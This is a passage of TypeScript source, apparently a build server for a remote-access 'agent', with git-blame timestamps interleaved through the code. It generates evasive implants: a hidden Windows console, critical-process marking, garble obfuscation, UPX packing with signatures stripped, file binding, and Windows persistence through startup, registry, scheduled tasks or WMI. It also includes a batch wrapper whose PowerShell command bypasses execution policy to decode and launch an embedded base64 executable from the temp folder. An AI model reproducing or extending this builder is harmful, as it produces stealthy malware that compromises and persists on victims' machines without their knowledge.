if ( config . sleepSeconds && config . sleepSeconds > 0 ) {
const sleepFlag = `-X overlord-client/cmd/agent/config.DefaultSleepSeconds= ${ config . sleepSeconds } ` ;
ldflags = ldflags ? ` ${ ldflags } ${ sleepFlag } ` : sleepFlag ;
sendToStream ({ type : "output" , text : `Startup sleep: ${ config . sleepSeconds } s \ n` , level : "info" });
}
2026-03-05 00:04:26 -06:00
if ( config . hideConsole && os === "windows" ) {
const hideConsoleFlag = "-H=windowsgui" ;
ldflags = ldflags ? ` ${ ldflags } ${ hideConsoleFlag } ` : hideConsoleFlag ;
sendToStream ({ type : "output" , text : "Windows console hidden (GUI subsystem)\n" , level : "info" });
}
2026-04-03 10:47:05 -05:00
if ( config . criticalProcess && os === "windows" ) {
const criticalFlag = "-X overlord-client/cmd/agent/config.DefaultCriticalProcess=true" ;
ldflags = ldflags ? ` ${ ldflags } ${ criticalFlag } ` : criticalFlag ;
sendToStream ({ type : "output" , text : "Critical process: enabled (requires admin at runtime)\n" , level : "info" });
}
2026-03-05 00:04:26 -06:00
if ( config . obfuscate ) {
sendToStream ({ type : "output" , text : "Obfuscation enabled (garble)\n" , level : "info" });
2026-03-16 14:09:06 +01:00
if ( config . garbleLiterals ) {
sendToStream ({ type : "output" , text : "Garble: obfuscate literals (-literals)\n" , level : "info" });
}
if ( config . garbleTiny ) {
sendToStream ({ type : "output" , text : "Garble: tiny mode (-tiny)\n" , level : "info" });
}
if ( config . garbleSeed ) {
sendToStream ({ type : "output" , text : `Garble: seed= ${ config . garbleSeed } \ n` , level : "info" });
}
2026-03-05 00:04:26 -06:00
}
if ( config . noPrinting ) {
sendToStream ({ type : "output" , text : "Client printing disabled (noprint tag)\n" , level : "info" });
}
2026-04-03 11:30:01 -05:00
// Linux CGO builds must be fully statically linked to avoid glibc version
// mismatches between the build server and target machines.
if ( os === "linux" && env . CGO_ENABLED === "1" ) {
const staticFlag = "-extldflags '-static'" ;
ldflags = ldflags ? ` ${ ldflags } ${ staticFlag } ` : staticFlag ;
sendToStream ({ type : "output" , text : "Linux CGO: static linking enabled (avoids GLIBC version mismatch)\n" , level : "info" });
}
2026-03-05 00:04:26 -06:00
try {
const buildTool = config . obfuscate ? "garble" : "go" ;
2026-03-21 02:12:35 -05:00
const buildTags : string [] = [];
if ( config . noPrinting ) buildTags . push ( "noprint" );
2026-03-21 02:37:10 -05:00
if ( hasBoundFiles ) buildTags . push ( "hasbinder" );
2026-03-21 02:12:35 -05:00
if ( config . enablePersistence && os === "windows" ) {
2026-03-26 11:05:04 -05:00
const methods = config . persistenceMethods && config . persistenceMethods . length > 0
? config . persistenceMethods
: [ 'startup' ];
if ( methods . includes ( "startup" )) buildTags . push ( "persist_startup" );
if ( methods . includes ( "registry" )) buildTags . push ( "persist_registry" );
if ( methods . includes ( "taskscheduler" )) buildTags . push ( "persist_taskscheduler" );
if ( methods . includes ( "wmi" )) buildTags . push ( "persist_wmi" );
2026-03-21 02:12:35 -05:00
}
const tagArg = buildTags . length > 0 ? `-tags " ${ buildTags . join ( " " ) } " ` : "" ;
2026-03-09 01:09:51 -05:00
logger . info ( `[build: ${ buildId . substring ( 0 , 8 ) } ] Building: ${ buildTool } build ${ tagArg }${ ldflags ? `-ldflags=" ${ ldflags } " ` : "" } -o ${ outDir } / ${ outputName } ./cmd/agent` );
2026-03-06 12:43:42 -06:00
logger . info ( `[build: ${ buildId . substring ( 0 , 8 ) } ] Environment: GOOS= ${ os } GOARCH= ${ actualArch } CGO_ENABLED= ${ env . CGO_ENABLED } CC= ${ env . CC || "<default>" } ` );
2026-03-07 18:15:01 -06:00
2026-03-16 14:09:06 +01:00
const garbleFlags : string [] = [];
if ( config . obfuscate ) {
if ( config . garbleLiterals ) garbleFlags . push ( "-literals" );
if ( config . garbleTiny ) garbleFlags . push ( "-tiny" );
if ( config . garbleSeed ) garbleFlags . push ( `-seed= ${ config . garbleSeed } ` );
}
const buildArgs : string [] = [];
2026-03-21 02:12:35 -05:00
if ( buildTags . length > 0 ) buildArgs . push ( "-tags" , buildTags . join ( " " ));
2026-03-22 19:43:42 -05:00
buildArgs . push ( "-trimpath" );
buildArgs . push ( "-buildvcs=false" );
2026-03-16 14:09:06 +01:00
if ( ldflags ) buildArgs . push ( `-ldflags= ${ ldflags } ` );
buildArgs . push ( "-o" , ` ${ outDir } / ${ outputName } ` , "./cmd/agent" );
let buildCmd ;
if ( config . obfuscate ) {
const allArgs = [... garbleFlags , "build" , ... buildArgs ];
buildCmd = $ `garble ${ allArgs } ` ;
} else {
buildCmd = $ `go build ${ buildArgs } ` ;
}
2026-03-05 00:04:26 -06:00
const proc = buildCmd . env ( env ). cwd ( clientDir ). nothrow ();
2026-03-07 18:15:01 -06:00
let result : any ;
2026-03-07 18:44:24 -06:00
for await ( const line of proc . lines ()) {
const trimmed = line . trim ();
if ( trimmed . length > 0 ) {
2026-03-07 18:15:01 -06:00
sendToStream ({ type : "output" , text : line + "\n" , level : "info" });
}
2026-03-05 00:04:26 -06:00
}
2026-03-07 18:44:24 -06:00
result = await proc ;
2026-03-05 00:04:26 -06:00
logger . info ( `[build: ${ buildId . substring ( 0 , 8 ) } ] Process exited with code: ${ result . exitCode } ` );
if ( result . exitCode !== 0 ) {
const stderrText = result . stderr . toString ();
if ( stderrText ) {
sendToStream ({ type : "output" , text : stderrText , level : "error" });
}
const errorMsg = `Build failed with exit code ${ result . exitCode } \ n` ;
sendToStream ({ type : "output" , text : errorMsg , level : "error" });
throw new Error ( `Build failed for ${ platform } ` );
}
const filePath = ` ${ outDir } / ${ outputName } ` ;
2026-03-16 14:42:18 +01:00
let finalSize = Bun . file ( filePath ). size ;
2026-03-21 02:12:35 -05:00
// For .bat/.cmd: go build writes a PE binary; UPX must run first (it needs PE format),
// then after compression we wrap it in a batch script with an embedded base64 payload.
const isBatWrapper = os === "windows" && ( winExt === ".bat" || winExt === ".cmd" );
2026-03-16 14:42:18 +01:00
if ( upxBin ) {
sendToStream ({ type : "output" , text : `Compressing ${ outputName } with UPX... \ n` , level : "info" });
const originalSize = finalSize ;
try {
const upxResult = await $ ` ${ upxBin } --best ${ filePath } ` . nothrow (). quiet ();
if ( upxResult . exitCode !== 0 ) {
const stderr = upxResult . stderr . toString (). trim ();
sendToStream ({ type : "output" , text : `WARNING: UPX compression failed (exit ${ upxResult . exitCode } ): ${ stderr } \ n` , level : "warn" });
} else {
finalSize = Bun . file ( filePath ). size ;
const ratio = (( 1 - finalSize / originalSize ) * 100 ). toFixed ( 1 );
sendToStream ({ type : "output" , text : `UPX compressed: ${ originalSize } → ${ finalSize } bytes ( ${ ratio } % reduction) \ n` , level : "info" });
if ( config . upxStripHeaders ) {
const stripped = stripUpxHeaders ( filePath );
if ( stripped ) {
finalSize = Bun . file ( filePath ). size ;
sendToStream ({ type : "output" , text : `UPX headers stripped (signature removed) \ n` , level : "info" });
} else {
sendToStream ({ type : "output" , text : `WARNING: No UPX signatures found to strip \ n` , level : "warn" });
}
}
}
} catch ( upxErr : any ) {
sendToStream ({ type : "output" , text : `WARNING: UPX failed: ${ upxErr . message || upxErr } \ n` , level : "warn" });
}
}
2026-03-05 00:04:26 -06:00
2026-03-21 02:12:35 -05:00
if ( isBatWrapper ) {
sendToStream ({ type : "output" , text : `Wrapping PE binary as ${ winExt } script... \ n` , level : "info" });
try {
const exeBytes = fs . readFileSync ( filePath );
const b64 = exeBytes . toString ( "base64" );
// Split into 76-char lines so the bat file stays manageable
const b64Lines = b64 . match ( /.{1,76}/g ) || [ b64 ];
// Random marker generated at build time using the same uuid util already imported
const marker = `:OVD_ ${ uuidv4 (). replace ( /-/g , "" ). substring ( 0 , 16 ). toUpperCase () } ` ;
// PowerShell payload: reads this script via %_OVD_SELF%, strips the marker+data,
// decodes base64 to a temp .exe, launches it, then exits.
const psCmd = [
`$f=$env:_OVD_SELF;` ,
`$l=[IO.File]::ReadAllLines($f);` ,
`$i=0;` ,
`for($j=0;$j-lt$l.Count;$j++){if($l[$j] -ceq ' ${ marker } '){$i=$j+1;break}};` ,
`$b=[Convert]::FromBase64String(($l[$i..($l.Count-1)]-join''));` ,
`$t=[IO.Path]::Combine([IO.Path]::GetTempPath(),[Guid]::NewGuid().ToString()+'.exe');` ,
`[IO.File]::WriteAllBytes($t,$b);` ,
`Start-Process $t;` ,
`exit` ,
]. join ( "" );
const wrapper = [
`@echo off` ,
`setlocal` ,
`set "_OVD_SELF=%~f0"` ,
`powershell.exe -NoProfile -ExecutionPolicy Bypass -Command " ${ psCmd } "` ,
`endlocal` ,
`exit /b 0` ,
marker ,
... b64Lines ,
]. join ( "\r\n" ) + "\r\n" ;
fs . writeFileSync ( filePath , wrapper , "utf8" );
finalSize = fs . statSync ( filePath ). size ;
sendToStream ({ type : "output" , text : `Wrapped: ${ exeBytes . length } byte PE → ${ finalSize } byte ${ winExt } script \ n` , level : "info" });
} catch ( wrapErr : any ) {
sendToStream ({ type : "output" , text : `WARNING: Failed to generate bat wrapper: ${ wrapErr . message || wrapErr } . Output is a raw PE binary with ${ winExt } extension. \ n` , level : "warn" });
}
}
2026-03-05 00:04:26 -06:00
( build . files as any []). push ({
name : outputName ,
filename : outputName ,
platform ,
2026-03-12 12:05:42 -05:00
version : agentVersion ,
2026-03-16 14:42:18 +01:00
size : finalSize ,
2026-03-05 00:04:26 -06:00
});
} catch ( err : any ) {
2026-03-07 18:15:01 -06:00
const errorMsg = `[ERROR] Failed to build ${ platform } : ${ err . message || err } \ n` ;
2026-03-05 00:04:26 -06:00
logger . error ( `[build: ${ buildId . substring ( 0 , 8 ) } ] ${ errorMsg . trim () } ` );
sendToStream ({ type : "output" , text : errorMsg , level : "error" });
throw err ;
}
}
build . status = "completed" ;
logger . info ( `[build: ${ buildId . substring ( 0 , 8 ) } ] Build completed successfully! Built ${ build . files . length } file(s)` );
2026-03-07 18:15:01 -06:00
sendToStream ({ type : "output" , text : ` \ n[OK] Build completed successfully! \ n` , level : "success" });
2026-03-05 00:04:26 -06:00
sendToStream ({ type : "complete" , success : true , files : build.files , buildId , expiresAt : build.expiresAt });
saveBuild ({
id : build.id ,
status : build.status ,
startTime : build.startTime ,
expiresAt : build.expiresAt ,
files : build.files as any ,
2026-03-12 21:26:53 -05:00
buildTag ,
builtByUserId : config.builtByUserId ,
2026-03-05 00:04:26 -06:00
});
setTimeout (() => {
logger . info ( `[build: ${ buildId . substring ( 0 , 8 ) } ] Cleaning up expired build` );
buildManager . deleteBuildStream ( buildId );
}, SEVEN_DAYS_MS );
} catch ( err : any ) {
build . status = "failed" ;
logger . error ( `[build: ${ buildId . substring ( 0 , 8 ) } ] Build failed:` , err );
sendToStream ({ type : "error" , error : err.message || String ( err ) });
sendToStream ({ type : "complete" , success : false , buildId });
setTimeout (() => {
logger . info ( `[build: ${ buildId . substring ( 0 , 8 ) } ] Cleaning up failed build stream` );
buildManager . deleteBuildStream ( buildId );
}, 60 * 60 * 1000 );
2026-03-06 13:07:56 -06:00
} finally {
clearInterval ( keepAliveTimer );
2026-03-16 14:09:06 +01:00
for ( const sysoFile of generatedSysoFiles ) {
try { fs . unlinkSync ( sysoFile ); } catch {}
}
if ( winresTempDir ) {
try { fs . rmSync ( winresTempDir , { recursive : true , force : true }); } catch {}
}
2026-03-21 02:37:10 -05:00
// Binder cleanup: remove generated Go file, bindfiles dir, and release lock
if ( binderGenPath ) {
try { fs . unlinkSync ( binderGenPath ); } catch {}
}
if ( binderFilesDir ) {
try { fs . rmSync ( binderFilesDir , { recursive : true , force : true }); } catch {}
}
if ( binderLockPath ) {
try { fs . unlinkSync ( binderLockPath ); } catch {}
}
2026-03-05 00:04:26 -06:00
}
}